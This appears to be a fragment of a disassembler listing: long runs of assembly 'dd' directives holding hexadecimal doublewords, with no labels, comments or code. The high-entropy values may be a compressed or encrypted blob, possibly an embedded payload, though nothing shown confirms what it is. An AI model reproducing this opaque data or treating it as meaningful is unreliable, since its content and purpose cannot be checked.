		dd 0F093E2AAh, 3828CA3Fh, 0F8060E75h, 0E6C08C74h, 5F2E00E0h
		dd 0CFD26A4Ah, 1F007CF0h, 7DDC4419h, 0C7D892h, 240C2104h
		dd 0ECA91B65h, 8EF65800h, 2A166410h, 0AB7B00E9h, 137AF3E7h
		dd 4C0082CEh, 1ACF9C86h, 7B8B9A33h, 116C00E1h, 48192170h
		dd 36010483h, 5D0AF603h, 27D872DCh, 0CB47008Eh,	538AF018h
		dd 0F07AE3Fh, 4688DE6Bh, 384F49B0h, 0ECAB1E8Bh,	0DD9A9CA7h
		dd 86B98004h, 0D0C0E4F8h, 0D47C89C0h, 387FB843h, 0A48003B3h
		dd 0B9605DCCh, 5C0383C2h, 7D124B1Ah, 9BB1986Bh,	7714148Fh
		dd 0F00E460h, 0AFDF5EBFh, 0B400161Dh, 9BA6288Bh, 73AB723Fh
		dd 0CBD207F4h, 0FED5A788h, 7FF60640h, 97002E1Eh, 4DE7AE1Ch
		dd 3A352D44h, 321EA0DAh, 0AA944051h, 54E03A2Bh,	4F8F9000h
		dd 0DA6CAB99h, 7E700ACh, 45C2A3A6h, 5F4955A2h, 77080128h
		dd 4F8ED00Ch, 0CFA19A40h, 506100B5h, 9EA8C409h,	22000E6Dh
		dd 346E531Ah, 39CAB65Fh, 0F98292h, 62DB0A56h, 57337998h
		dd 19FAD90Fh, 93EAA0A4h, 3E72BDh, 0F90354C4h, 0D4A877C1h
		dd 9DF22200h, 30A0F709h, 0A989069Eh, 0A65D561Eh, 0F4400107h
		dd 7F007AB9h, 19F92A0h,	0A65E8DCh, 23795361h, 0FD980024h
		dd 5871B9D5h, 2752001Dh, 42FB66Bh, 500EAFAh, 4FE3F733h
		dd 38D6EFFCh, 0A880E125h, 0BDCF11E2h, 1001B88Dh, 76715C3Ch
		dd 0E7C0DC17h, 0D8A30062h, 456C88A9h, 0CC003454h, 69DD5692h
		dd 17AC1h, 0FB47462Ah, 9A30A39Bh, 0F6042800h, 8B774053h
		dd 0C4E34CE9h, 0A0211D00h, 6710A15Fh, 88C36879h, 985E319Ah
		dd 77E5AE05h, 42FD0043h, 950ED152h, 6A50407Dh, 0B501458Ah
		dd 0F601AF1Eh, 0BEC4CEFDh, 6F34008Eh, 0C73B0748h, 18001474h
		dd 5F9F6E4Dh, 1876EDEAh, 0D0B1823Fh, 6F00D1D9h,	0FDD810E8h
		dd 523224h, 0F197ADD2h,	935A67E7h, 0F061C900h, 12A3337Eh
		dd 50020399h, 78B3DDACh, 4000B1DEh, 0D17A9688h,	833457h
		dd 0DE3D841Fh, 81129514h, 1BF2CB3Eh, 0B078767Eh, 6EE43Ch
		dd 33A0638Ah, 53E81F80h, 0D64AF800h, 76ABF62Eh,	51B60016h
		dd 1AC5B5CDh, 14007879h, 0D0AC6ED3h, 0EEEC1ED1h, 0FBA000BFh
		dd 1F1A6173h, 91DD655Ah, 0BB061Fh, 0D227355Ch, 0F4815B98h
		dd 1EF001E6h, 12FDB03Fh, 0AF30E8DEh, 0B4B58C1Bh, 0C62BE848h
		dd 0C1A503D8h, 6ECFF212h, 0BB008975h, 233FCC30h, 0A87FE5h
		dd 42A1DC77h, 8432DF3Ch, 4B7838h, 146C9570h, 0E272FAh
		dd 0BE1BB7DEh, 0FC46898Bh, 2564221Eh, 5A74803Fh, 0B0E09C21h
		dd 0E1660781h, 5185F3FEh, 0ECA105F7h, 9100F8C8h, 0E583D3E6h
		dd 65E142h, 76895F97h, 8806F4E7h, 304ECF00h, 75FC5298h
		dd 9ECD1h, 0A5D58DBAh
		dd 63D25C41h, 0B3B28500h, 979EFBE8h, 0DF7F2857h, 0E2E63CA5h
		dd 511C5609h, 177D1500h, 0B138FB29h, 40B48082h,	429448CFh
		dd 653038A7h, 3BC35300h, 0E1622FDh, 983FE205h, 0F5C769FFh
		dd 65809610h, 0DEFE74h,	0A90C917Fh, 20AB9B1Ch, 0C8762300h
		dd 0C5B2373Eh, 32C33A0Bh, 55E39Ch, 2C07BDA7h, 7900DF39h
		dd 4086CBB6h, 60A88Eh, 26933F56h, 0ACAA073h, 0EEB80E00h
		dd 442AA34Fh, 87540058h, 0D1819077h, 0FF009B88h, 0B879ABACh
		dd 602396E2h, 0C0696837h, 0C7009E4Ch, 0C5DEADE4h, 60293B21h
		dd 4EA1E9B6h, 59003C96h, 8BEC81F1h, 7C776BCFh, 5499047Bh
		dd 0C0283F7Ch, 5C5B671h, 0E4CCE603h, 0F0C60309h, 0BC2F50B8h
		dd 9067002Ch, 15BBFEA5h, 4F027D04h, 0EB80AE31h,	4E7941h
		dd 60338397h, 0CFD17D1h, 5DC9890Eh, 63C18780h, 0D2D80BF0h
		dd 27F9001Fh, 0B326CF35h, 0BF008CC0h, 0C602EC0Dh, 396EE83Ch
		dd 0A100FA69h, 7F4B75F4h, 0E500C814h, 34EF7358h, 3C424357h
		dd 0DE1C862Ch, 27490583h, 0ADC50095h, 0E2ACBAAFh, 10F0D800h
		dd 0C2351589h, 0FDB0028h, 5EA20945h, 0CE003B3Dh, 51D45778h
		dd 3B95620h, 9DADCE0h, 0DFB012EEh, 0CD05CEA1h, 50417D39h
		dd 215245C0h, 438C3926h, 8A592887h, 7380DB49h, 0FBAEFECEh
		dd 1EB7970Bh, 0DA910025h, 9B24B5h, 2F2D7A1Fh, 27B64F5Dh
		dd 6E00C0Bh, 0BFE7803Eh, 3BF751h, 1CCC0965h, 0D42D4AFEh
		dd 0C53C1D00h, 2B414E5Bh, 3A720049h, 82CFFA81h,	2326D546h
		dd 0CD00685Eh, 70C922CBh, 888107F4h, 40618B5Dh,	35596477h
		dd 4048BEE2h, 0BFA000C4h, 49E463EAh, 4DC0E05h, 2D609E26h
		dd 0E3B37891h, 8336563Bh, 7392B23Ch, 0F56EF8D7h, 0C1FA0075h
		dd 0B9BE14D0h, 0A91C8C5Fh, 86FB4B65h, 3CF61216h, 41B40060h
		dd 8E3D2A67h, 470E0335h, 0A1108D5Ch, 0B040AE9Ah, 923D898Ch
		dd 1B80E720h, 0EC89E8BFh, 0B71980B3h, 8EE110C0h, 0C71F3755h
		dd 0CA5EAE20h, 35BB0164h, 0D07C3DB8h, 0E600AA11h, 1A192461h
		dd 90C8D6h, 7B758F3Ch, 0BCC2AE39h, 22998100h, 0B8C5A75Dh
		dd 74C300ACh, 0D5346598h, 9F3F0313h, 3B50D0AEh,	0D0357F37h
		dd 90A6408Eh, 7D81604h,	642CA23Ch, 15C67739h, 95E000CCh
		dd 4B7243BAh, 0AB6ADB00h, 0C0BF83A6h, 907E50E5h, 64CFC0Eh
		dd 98B7B477h, 800059DAh, 0F66B8F74h, 1949D82h, 4FC53DE1h
		dd 80E07972h, 14E30B89h, 1528913h, 0C8F8DBD9h, 0F86EC1FBh
		dd 4C02AE95h, 232B03E5h, 10C0A036h, 6D3EF14h, 0BB9D249Ah
		dd 0CA20D87Dh, 3523301Ch, 2A3F8429h, 46965F00h,	24EE4CC3h
		dd 0EB320CF9h, 6BA0E920h, 3C802C03h, 0D8E41EEAh, 3FCA9AEh
		dd 0E1D93663h, 0C91F30B5h, 21020BDCh, 0C0D67BAEh, 0E5AC56Ah
		dd 922D72C1h, 9AEA6180h, 62E6E1A1h, 37814360h, 3B416Ch
		dd 2A97421Ah, 0E3D30474h, 59D7B500h, 0D5D14B02h, 2BA100FAh
		dd 1ABD6ACEh, 3C00BF58h, 0A0804D11h, 942DE1h, 0B8703035h
		dd 1FB22A42h, 1E2B2007h, 58B0B014h, 0FD27EC0h, 22335702h
		dd 71FB9340h, 0A9038110h, 602142B7h, 63102B70h,	53884104h
		dd 0CB10801Ch, 6A541634h, 3E7679h, 4347705Dh, 88E2365Ah
		dd 15DD1B01h, 0DBBACABEh, 840A2990h, 615D5F07h,	0BEDA0E08h
		dd 63A488FEh, 88DC7388h, 4F41FFD4h, 0EB1135F1h,	125F1265h
		dd 2910FB63h, 9000322Eh, 0B2A2938Bh, 7E0FB17Ah,	80455AEEh
		dd 136247A7h, 0F60D01DDh, 0B5515B0Bh, 0CFD940AAh, 0FE759479h
		dd 589B1903h, 0A8F21084h, 374BD5Ch, 5B68FC70h, 0E2987709h
		dd 0D37C1BE9h, 0C251A807h, 0CE00EF02h, 552E96h,	0FE83DF01h
		dd 0D46F774Eh, 49267100h, 0FAA747C7h, 0F9D60020h, 0C2B6B49Fh
		dd 0F001FD2Ah, 0A5D5731h, 0A470EF42h, 321F0F78h, 4F20AB2Ch
		dd 0DCB7BAF4h, 918F9000h, 397E4C94h, 9B430714h,	5CFB0D27h
		dd 7600C510h, 8A94AEBEh, 0E95EABh, 0C08D6C4Dh, 0FB4608F3h
		dd 952AF100h, 9140A963h, 24B90089h, 0B55D0FFh, 150030BFh
		dd 9F671631h, 4E45C59h,	0C925071h, 0FD46C353h, 10004FEBh
		dd 68D1C8F9h, 743CEB7h,	6FE1398Ch, 695090B6h, 2A00445Ah
		dd 0B7E38990h, 5877822h, 4563EEAEh, 0C500AFBDh,	0CCD6942Fh
		dd 0CBE90072h, 0FAB9CF5Dh, 0EA0064AEh, 6B24A9F8h, 381118h
		dd 0EBC270F5h, 0DBCA4419h, 0A7DD8700h, 0D977B07Ah, 163B0065h
		dd 96EFC90Dh, 1B0E738Ah, 0C0C26155h, 0F238444Ah, 0D1E5002Ah
		dd 0FC2FF6E9h, 7F03A1ADh, 1CE899ABh, 700DA016h,	118C0101h
		dd 52F8CD1Ah, 0A584409Dh, 6028F779h, 1201FFABh,	0AAAE9E8Dh
		dd 48D0D685h, 0B81B0008h, 0E0E14E76h, 6600CD03h, 0E90ABC19h
		dd 0EA89674h, 0CF22B65Ah, 634ACE41h, 0E489D9CCh, 7D00B74Fh
		dd 0E83FE39Ah, 0E2D2C13Ch, 7565244Ch, 8DAE008Ah, 2B52771Eh
		dd 239D031Ch, 0E10EE940h, 0E0E5BDh, 0E3C8740Ah,	82D89CCh
		dd 1428F200h, 90B55A2Fh, 3E033C7Bh, 5EA09D00h, 79587721h
		dd 0BA8EB017h, 873B57FCh, 7E222580h, 0C52ED6F0h, 569F2F1Ch
		dd 23D36080h, 0C0BEE89Ah, 0B9341610h, 3F011B4Ch, 6444689Ch
		dd 382013C2h, 2BC6044Ah, 90B580D7h, 5E70E514h, 0CBE8F24h
		dd 23780989h, 0B0219504h, 7DD2EE5Fh, 2F714Bh, 74CE4C3Ch
		dd 0FF4A19CAh, 0C77EF000h, 2AEC0ABBh, 7A2D000Eh, 0A34F2B4Ch
		dd 65063C54h, 51D6BAFFh, 411B0740h, 20A0FA4Ah, 0FD143A91h
		dd 32E13007h, 0C7402212h, 219D5Ch, 92A3118h, 56B1573Fh
		dd 5449C800h, 0AB2350BEh, 95410E89h, 0A40C0BDh,	9BADD140h
		dd 5F4B175h, 0E3DC3201h, 396A6F8Bh, 3A8EF9CBh, 0D015C8h
		dd 8908F50Ch, 0D321CFECh, 7EEEBD0Fh, 6B02C0F7h,	14E6F0E7h
		dd 808860EFh, 59111Ch, 448B4BFh, 0A700C883h, 94BA242Ah
		dd 75D4A3Fh, 0FB125BF5h, 0FB6F319h, 9C8BABD8h, 2BCA2100h
		dd 4FD407C9h, 3C6E00C2h, 0ADB1F4FEh, 0F801C3E0h, 0A1CA56CEh
		dd 7C225C22h, 0B823F314h, 32D8F007h, 2128208Dh,	0C5772B80h
		dd 0BB0070Eh, 362D0046h, 5C31C74h, 2ED9F9B3h, 9FC009Eh
		dd 155BC744h, 6BE87E26h, 8E3BF020h, 41AF0034h, 27C57BB5h
		dd 0AC750B19h, 66804E6Ch, 0B2563FB4h, 0D59C8201h, 1C3E234Bh
		dd 7A31B0EBh, 5222000Ch, 345AD6AEh, 0F80A446Bh,	0FE6CFD4Fh
		dd 0DEB41600h, 9059BBh,	634C54F5h, 0B58C2497h, 946DAB13h
		dd 3519EA00h, 3D18A1h, 960B9058h, 0F8272BBBh, 0E00FA600h
		dd 897F9977h, 207693h, 7D1886FFh, 0C911EFEh, 0B088A46Eh
		dd 0ED648FCEh, 0C05C8719h, 0A0CAEC30h, 0CEE75C07h, 0DF6087D2h
		dd 0A12EB6h, 1BC72D15h,	3B673C01h, 3ED8700Ch, 1FFEB0B7h
		dd 3552238h, 98CD4088h,	87827E3Bh, 84114591h, 25720190h
		dd 9738021Dh, 423761D6h, 67F8A363h, 0B2C01EF2h,	989DB94Bh
		dd 6FBB01F5h, 13845C97h, 0CC81C8FFh, 0EB0B84B0h, 803B6429h
		dd 0DC0DDDFh, 45ED00D1h, 34F78E52h, 4E006180h, 517D2393h
		dd 39E789h, 0EDFCBFA5h,	55CFC642h, 0F805F2F4h, 0EB2D5E26h
		dd 38650480h, 0D06F4C9Eh, 0E626CF39h, 2A180080h, 7F0ABA51h
		dd 0FC9DF400h, 0CDFA281Bh, 0D1640362h, 0BEB155DDh, 0F911DEF8h
		dd 0D3615E00h, 21A55F70h, 1D9E00F1h, 0C97E38C3h, 0DC3898CAh
		dd 95187D39h, 50784205h, 8FB20009h, 9496F979h, 820A9A7Eh
		dd 0C1D5EFBAh, 0CF6F2C00h, 1CEB51B6h, 6C298712h, 7A382AD3h
		dd 43EC01B4h, 0E8D938DDh, 0F8CCE470h, 5B9E9100h, 478CA750h
		dd 529C016Dh, 0FA3C9319h
		dd 0FAD0B921h, 1BCA4606h, 7E30F33Ah, 0B1B90EBEh, 7A202A05h
		dd 0A38B509h, 53163600h, 1EE3B7E2h, 3CAE3FD2h, 40B1829Dh
		dd 0CF8C6408h, 53012E35h, 181A684Ah, 63C4A6B7h,	4CBD1F3Eh
		dd 6DB900A8h, 0D39BBA11h, 0C94D5A00h, 46FEDDEBh, 38BF448h
		dd 29E53A07h, 55A38916h, 0ECBEE1D8h, 0A6825400h, 0C41A3940h
		dd 0DED399Eh, 99628780h, 28B05E30h, 4B7B0800h, 548450DFh
		dd 0E68800C6h, 9C4FF36Ah, 950649E2h, 0D504298Ch, 2CD701EAh
		dd 0B1F92B24h, 4D4C308Bh, 0A4AC2300h, 0C8D01440h, 0DD7002E4h
		dd 0FA611390h, 2428EE0h, 4B48BD07h, 8930A24Fh, 0E8EF59h
		dd 0E68E7BEAh, 0FBB485D0h, 9093B7Ah, 81AF637Fh,	0C191444Ch
		dd 1553070h, 740DE7C8h,	319D9558h, 513EF830h, 1F86F705h
		dd 2883E811h, 9903800Dh, 71CD390Bh, 499B1D00h, 0A22BDAEDh
		dd 50649424h, 0A9351600h, 5C072C4Ah, 53E2A4Fh, 5C07DFBFh
		dd 0C0C5D2B5h, 6B4DF152h, 208BA801h, 0FAA3E6EFh, 286C806Eh
		dd 2900CABBh, 3FE93C07h, 8BD5D4h, 0F47ADA92h, 2C22FD69h
		dd 0A817AD04h, 5480EC79h, 81EC4h, 6C4E8D23h, 57EBB247h
		dd 0D95B7000h, 32772B8h, 0C69A02A0h, 0FD3CE698h, 604D81C0h
		dd 680131FCh, 91169586h, 4F42D4Ch, 0F7F824AFh, 25FF023Ch
		dd 0C4CB7F5Bh, 6E783390h, 0BB1E8C0h, 2C2D7CBCh,	0EE83DF9h
		dd 0E5808875h, 74BBFC41h, 56DD4907h, 20FCE16Fh,	80F1003Dh
		dd 0A2DC9CAEh, 63008843h, 8BB0C316h, 1DCD5DB4h,	73E6ABBh
		dd 0E0753918h, 95623D61h, 0F8FA8400h, 0BDA129B2h, 24DFED2h
		dd 0E99E8C58h, 0A4C860C9h, 1B020A7Dh, 2DD95FEBh, 45B8E195h
		dd 237C9041h, 9C092428h, 0FC004F9Eh, 0ACB2A20Ch, 1044E230h
		dd 2468B3Ch, 0D0167BA0h, 8501A1Eh, 7FF78703h, 88E597FAh
		dd 0A040385Bh, 3D3C19E4h, 6C80E3DBh, 0FF977AC0h, 0F33C5FA9h
		dd 81D00CFh, 1BC116EEh,	0EB3F81Eh, 94F61981h, 0C709B6A5h
		dd 40231787h, 8DB4523Ch, 0A8FD5100h, 0A4F76221h, 73D60F36h
		dd 0FF0022E8h, 0D1494A72h, 0DA007198h, 9A259033h, 25CCEF4h
		dd 15AEE0EBh, 8B400D0Ch, 0DCB8873Ah, 0A6CCA01h,	4BDE68F7h
		dd 4E8074h, 93A11451h, 94D7F065h, 73B44C50h, 6986A309h
		dd 78740053h, 818A7Dh, 91631B07h, 0A6132A2Dh, 9718D800h
		dd 4A8CE151h, 386D266Ch, 0C0871CB4h, 0B26778D2h, 0C019015h
		dd 0ED5E1D2Fh, 0B4709338h, 0EC95446Bh, 0A0B90E0Ch, 13A32809h
		dd 20AE931Bh, 2179A784h, 8E9A7000h, 39231E03h, 3C7EB7h
		dd 0D416866Eh, 521CB998h, 80D73E38h, 0F3A0BD44h, 381B05D5h
		dd 0BE01483Bh, 1443E9B2h, 75EB70C2h, 45345E00h,	7C2C49DCh
		dd 9D6201B9h, 0F612FF53h, 31EBE096h, 50A30E00h,	208823A2h
		dd 7D1E1CA7h, 0AAC3C0B0h, 4C3B5D05h, 3F92E500h,	0CE699571h
		dd 38D939BFh, 1CDE6184h, 88348046h, 67004AF2h, 8BCEE152h
		dd 19B0275h, 0FF9D4795h, 60B7E4C6h, 2BEA8A1Ch, 92807F07h
		dd 806B8C11h, 544AAC73h, 1FB57A5Ah, 52498341h, 0C3C443C4h
		dd 50C09F68h, 64BA4D6Eh, 27EDBA03h, 0F89B240Fh,	18C663h
		dd 13FDE3ECh, 0DC1DFF66h, 7CAD072Ch, 9BAAAE03h,	0D47B802h
		dd 0AF840780h, 50BE0FE5h, 9A3DCBC6h, 0D8A8EF51h, 320096A9h
		dd 3557F516h, 0B47DD0h,	0B80C9559h, 0C2A308DAh,	0F771C073h
		dd 11417600h, 0C96CA84Dh, 89BD016Fh, 1D750E4Ch,	88442084h
		dd 0B207A0EAh, 0D6C42CF2h, 6D8E4B11h, 5CB357F4h, 5A00058Ch
		dd 412F8983h, 0C100859Dh, 0C3E8D4EAh, 0CE742Dh,	3488D2EDh
		dd 0B116BA0Fh, 37152100h, 0BD077D14h, 2CDC9422h, 49A00028h
		dd 40EF5D81h, 0BBD2F500h, 0E61F48Ah, 380904Bh, 0D97B078Fh
		dd 10012203h, 5CEDB4D5h, 5420C06Bh, 91AF2015h, 92B5C100h
		dd 0DB4562ABh, 0D8DF091Dh, 3440F463h, 4DF629A9h, 9BFDE00h
		dd 0ABC5DDCEh, 9D86007Fh, 939E8D70h, 5A489735h,	36FF00A8h
		dd 0F83A96A2h, 2B40C065h, 0A87C48B6h, 3071F730h, 84E5ECh
		dd 66D6AF57h, 88BC2CE0h, 523EA0A0h, 0B4C9BB18h,	0E87428h
		dd 0A2CA6FE1h, 55033725h, 0B14BF828h, 202EB60Ah, 0D801F8ABh
		dd 4C01D35Dh, 50992870h, 4F4E763h, 0C02EEBCDh, 132D8086h
		dd 28018162h, 3591BF7Fh, 68D1E64Bh, 0E1F7C30h, 0DB340530h
		dd 0FD977FE0h, 0F002C0Ch, 0F9D907A5h, 360333h, 0E3D84377h
		dd 4BAD98A2h, 0F5859700h, 6B200208h, 401537B0h,	71E08EB8h
		dd 9AA85C92h, 0AA0F5300h, 479B7DDCh, 0B03F1D65h, 6F860019h
		dd 206154A8h, 0A7C1309h, 0DA000A70h, 1C0BEE00h,	3AF88Fh
		dd 89306DBh, 0CC2E6AA8h, 7EE76401h, 8CFDB667h, 4029E042h
		dd 5D4B073Dh, 0F25202Fh, 7D6462D8h, 1A8716E4h, 2CAF3490h
		dd 0A52A3B3Dh, 8854AB00h, 0EF42CB58h, 33978126h, 8BE6C900h
		dd 0EE364C7h, 0DE6D60C3h, 0B268DCF2h, 3B141892h, 0FCEA70h
		dd 0FE987E22h, 13C62D11h, 41FF2EA6h, 744E91C4h,	2395E883h
		dd 0C3945E07h, 0B3003598h, 170448h, 0AFEA81C4h,	4189B592h
		dd 1E7C100h, 0AE713E6Ch, 913F073Ah, 707E64BCh, 0C52AFEB3h
		dd 0C784FB12h, 76B40C30h, 0CD1B0014h, 17856E21h, 0FE3D8EA7h
		dd 0C013802Ch, 3AD05F28h, 661107FBh, 0C0DB9B4Bh, 0C5380AB8h
		dd 710024ECh, 4A7674A7h, 1C247F8h, 45C9E298h, 20DFD265h
		dd 0F20FC634h, 7B91DC7h, 7DF0A22Ah, 3F5FD489h, 0CF824435h
		dd 0E4C3CB04h, 47E2F861h, 3F7302BCh, 0E64EE8E0h, 50F3D300h
		dd 0D21FD130h, 56130063h, 6E67D82Ah, 0E8F47D73h, 1E3B6400h
		dd 930471A2h, 48A1000Ch, 0C31C960Bh, 0E602139Ch, 77E4630Ah
		dd 20F850A4h, 223A72B3h, 8004BB0Dh, 94BBE3C8h, 0B0F267E5h
		dd 184A4C3Ch, 0C932C71Eh, 0EF0289B7h, 0A0C9F9ADh, 3D7DE864h
		dd 0E1C74D02h, 0C1E2B3F1h, 0BC6098DCh, 138000A8h, 8966A0F6h
		dd 6000399Eh, 45F5865Bh, 10287Ah, 0B37785ABh, 32DFAD91h
		dd 1BE50B13h, 23195C00h, 9946D9h, 7EFEF627h, 24C66FFh
		dd 0EE7B3800h, 0ACC476C5h, 99810711h, 64F5612h,	7800D093h
		dd 7CA6103Bh, 48479830h, 0DB04F03Ah, 0C0887932h, 1809AEE0h
		dd 937EB90Eh, 0B56EC075h, 0B78BCC9h, 7D6C8AAAh,	73CD3000h
		dd 0E91D6793h, 0C06CEFFEh, 818443h, 0DBE87E96h,	0DA8C06Eh
		dd 7AA5BD0Fh, 81A0425Bh, 40F8E822h, 24DDB8F8h, 2280AEBh
		dd 0F5CF605Ch, 0ED6758C0h, 0C7E8B603h, 0D8B86E27h, 3C6A78DFh
		dd 75B047E3h, 4D676F40h, 2900A6EAh, 9B7661D3h, 1EC97D48h
		dd 126007D0h, 5AE003ECh, 3090B7E1h, 78097F01h, 175F92h
		dd 109CA804h, 3A6300EAh, 0D754B19h, 0A2C25511h,	0C0153CFEh
		dd 0A8F4B8h, 6FAB6644h,	86118F73h, 12B49907h, 0E7C00DE1h
		dd 0E9DAC72h, 0A7CEF65Ch, 10573467h, 498EEB10h,	2B0A170Fh
		dd 3149E4h, 0F90289BCh,	3A40E450h, 8FBD03D3h, 5A792180h
		dd 8E4FD9E7h, 48A3100h,	0D8BC63A7h, 6CBB062Eh, 28FF4BA5h
		dd 5A565Ch, 841E6851h, 762DC27h, 0D12CD4B9h, 0D99E00A4h
		dd 0B21C89AEh, 260DEA14h, 0FCE178C8h, 23B1F0E3h, 3744300Fh
		dd 8C4BB891h, 0B3E0E06h, 38081A32h, 20E33826h, 56E03620h
		dd 7E003528h, 0F34CC61Fh, 6B1FC05h, 0FFF3882h, 0C1971F1h
		dd 8A3007EAh, 0EC3FA430h, 0E72237D7h, 0B9408020h, 6B03AA1Bh
		dd 2CB8A58Dh, 0DE711D8Ch, 30EC5F1Fh, 37470E39h,	0C728C260h
		dd 1A4DD6Bh, 3AE6DC8h, 91EB7Fh,	1834EC6h, 0ECEAE4B4h, 0F7D19F11h
		dd 0C4F11EE1h
		dd 85EE78FCh, 8E42CD00h, 0E1F1C44h, 45560035h, 0ADDE8F2h
		dd 0AEF86696h, 6F5AA600h, 7BC4389Fh, 0EB9400D0h, 928FFB6Dh
		dd 0F4EAB3B8h, 52615F0h, 0E300A926h, 3A40918Eh,	0A43F547Fh
		dd 4E9A0003h, 0EDC4B1E8h, 0AC66BA84h, 0E210508h, 964EAFF4h
		dd 26075F43h, 91E942E1h, 9D803F49h, 9CB1F14Eh, 0F93E448Ch
		dd 8D4EB600h, 3AFE8851h, 3C3B00C0h, 10A2A8D0h, 58005979h
		dd 0E05D0E4Ah, 0FDBF8EE6h, 583438A3h, 710B5725h, 1F4C6D8h
		dd 7E2E6BB0h, 143FDFF0h, 0A6160908h, 79B06860h,	0DB31B977h
		dd 0F5DD8042h, 5106E303h, 0A8837C38h, 3E081520h, 1C3E8076h
		dd 18ABCB18h, 0C9248727h, 0F1400448h, 19D7FEAh,	0ECD6D308h
		dd 0D1DFC310h, 0CF7074F5h, 6B7FD218h, 0F19A1644h, 1DDB68CCh
		dd 30411F93h, 87268299h, 2C5C1C0Ch, 1066883h, 0D3B1047h
		dd 0F0CF25C6h, 1C009112h, 9822BF17h, 1AD6F0h, 5513E953h
		dd 6E115D6Bh, 3E7FB700h, 68E82BD8h, 6F4F001Fh, 0DF8EE026h
		dd 6100FA8Ah, 47A4C1B0h, 0D3ABF1h, 30417458h, 506E15BFh
		dd 0D0526D00h, 0B75A017Dh, 96C20072h, 0B0742C95h, 27009CD4h
		dd 0A27D108Ch, 476C87h,	7E46263Bh, 0D72C9DCEh, 0A3B538h
		dd 0F9E968DFh, 0FD74FAh, 0B2461ACh, 3878FB48h, 46816EF3h
		dd 6EE0C9E5h, 0B8620042h, 399663E8h, 0FF07DC9Bh, 2AEC7C10h
		dd 5C016480h, 1D6F00B4h, 46357BC3h, 3C00605Eh, 0FDC73613h
		dd 1A85D08h, 96674402h,	0ECF1D4BAh, 5C04EF11h, 9E34B437h
		dd 24420B80h, 4DC80094h, 41D6C2B5h, 8000010Ch, 0C3AE8C23h
		dd 64BA15h, 0FDF9F063h,	82411D04h, 43D6BE07h, 8D8378A9h
		dd 995DB82Ah, 0DB7B62h,	5ADD0C71h, 39EE33C1h, 70249A00h
		dd 1114BEC2h, 825E02EAh, 0B29D08B4h, 8F640B60h,	704B363Eh
		dd 0E70042F0h, 6924FBD6h, 0E14D4C0h, 3F51BF9Eh,	0C20AEA80h
		dd 0BA00358Ch, 6ED57409h, 7EB054h, 16A12C0h, 633A13DEh
		dd 528D13Dh, 0EE4EE417h, 0B01DAC0Ah, 0A0915A00h, 28FD3F6Ah
		dd 850C86A4h, 5D807B04h, 35F82268h, 271AA900h, 7538BC5Fh
		dd 0BAA3038Bh, 1B9555C4h, 0FC4B9D81h, 103135F2h, 7ECC2919h
		dd 115BC311h, 1F114C91h, 10E01215h, 0C5895013h,	42849C08h
		dd 105E21F4h, 129084F9h, 447F8844h, 0CD484D89h,	25104842h
		dd 0F528049Ch, 64014A53h, 940EBF08h, 701178B0h,	8352129h
		dd 44940B20h, 26D01114h, 1008E921h, 3589106h, 72D67454h
		dd 6044FA1Ch, 7B2E994h,	0DC9EB756h, 0E871007Dh,	8E00CCACh
		dd 8B34F45h, 307EC6B0h,	5518A3BAh, 947CD8E9h, 2F2CB500h
		dd 0A885A923h, 5D030F48h, 0D440F6C1h, 5E316465h, 33ABD000h
		dd 4BB9BE26h, 7DF700B6h, 529B47C2h, 0EF00A736h,	9C260E91h
		dd 0E0B70586h, 0E47B42h, 0A98F0AE1h, 4DE0A639h,	40C11100h
		dd 953F72Ah, 698E0728h,	80F6FD04h, 3CC68405h, 0BDA8F90Fh
		dd 67BA6471h, 11122890h, 8A57005Ch, 44E6F34Dh, 6F07908Ch
		dd 0DD770B3Ch, 5B65E38Eh, 38488014h, 0CC601FB6h, 44C65C9Bh
		dd 0C0332E2Dh, 0AAF6D9D9h, 705EBE01h, 26CCB4FDh, 0C5796081h
		dd 86F1E11Ch, 6527E588h, 5D7282h, 73ACEA45h, 2D3B2141h
		dd 1D7D38h, 0A2FADE64h,	0A385E1h, 7FE840C8h, 0A587C331h
		dd 81D6CA3Eh, 0D7022A62h, 7ACCA247h, 68F5037Ch,	1A42216h
		dd 0CCA01AF3h, 0FC00EFEEh, 0C40F8D39h, 1D92ECFDh, 8028CF6Ah
		dd 544CD3B5h, 6F7FAE83h, 0F403A70Fh, 9805C5Eh, 0CC44F14Bh
		dd 90460B28h, 7607F0B3h, 3F39F0E3h, 0A2B00F30h,	0C4006573h
		dd 384E528Dh, 3D700A8Ch, 0D000D257h, 3308834h, 0B8005187h
		dd 0CC5602A6h, 336E58h,	0E821556Ah, 99EE7605h, 966FFC0Ah
		dd 1300982Ch, 0DCB11734h, 258B07FEh, 0F0FBA5A8h, 0B81C5577h
		dd 2F2AC100h, 85CF8CECh, 0C8730090h, 7A3F06F1h,	1EF8EB3Ah
		dd 56182800h, 0F06CF6C7h, 40A34864h, 9D420800h,	21142BC2h
		dd 0B5FA103h, 0D0829270h, 0FD95D9Ah, 0E4E8DAFFh, 0AFE16B40h
		dd 0B3071983h, 3B0A655Ch, 0C58013F7h, 3825B79h,	89DEE7ACh
		dd 1F8261B6h, 0AB0D60FFh, 24A7283Fh, 0B4EA00F4h, 980A2D97h
		dd 7C0029CEh, 5E0CF00Eh, 3F2CD05h, 0F4A60B0Fh, 0FEAAFD55h
		dd 0C0121849h, 2A07C022h, 4C210A61h, 694A57A0h,	831800BFh
		dd 88BA6F51h, 3E008C8Eh, 29E4A323h, 13C5717h, 9DFDF72Dh
		dd 0E49339D1h, 0E604DC3Fh, 0B3657CB7h, 0C716A480h, 781B00CFh
		dd 176C6A48h, 0A84838C3h, 6340024h, 5668A469h, 548A00F8h
		dd 0C00DAE09h, 0E6070A03h, 61675A41h, 602AC642h, 0F4A0977h
		dd 744FC7BCh, 0F2955F03h, 8C2FDCA8h, 5D0056E0h,	7511D686h
		dd 50A7E591h, 847F8C7h,	0F68FE00Ah, 0F5C0B00h, 26D4A9h
		dd 0CDBEDD83h, 7D6F8EF3h, 39D03B13h, 8504DD02h,	6BA361D7h
		dd 0FBEC9E8h, 3336236h,	30214680h, 0D2B8EF4Eh, 0AB7CE714h
		dd 1A007AF8h, 839CFCB5h, 0ECC921Fh, 3A52D2F4h, 0E85C40C0h
		dd 0C3000D1Bh, 8EEB282Bh, 33094DBh, 6D4DFD3Dh, 4A903431h
		dd 0C500061Ah, 76965712h, 1AA8E44h, 8701DB2Eh, 30843C31h
		dd 30009975h, 331F02F5h, 0A93BFh, 0D4FDFF5Dh, 2DB4E82Ch
		dd 61756212h, 0F3741C00h, 0A9530h, 3714CE2h, 4394F7E4h
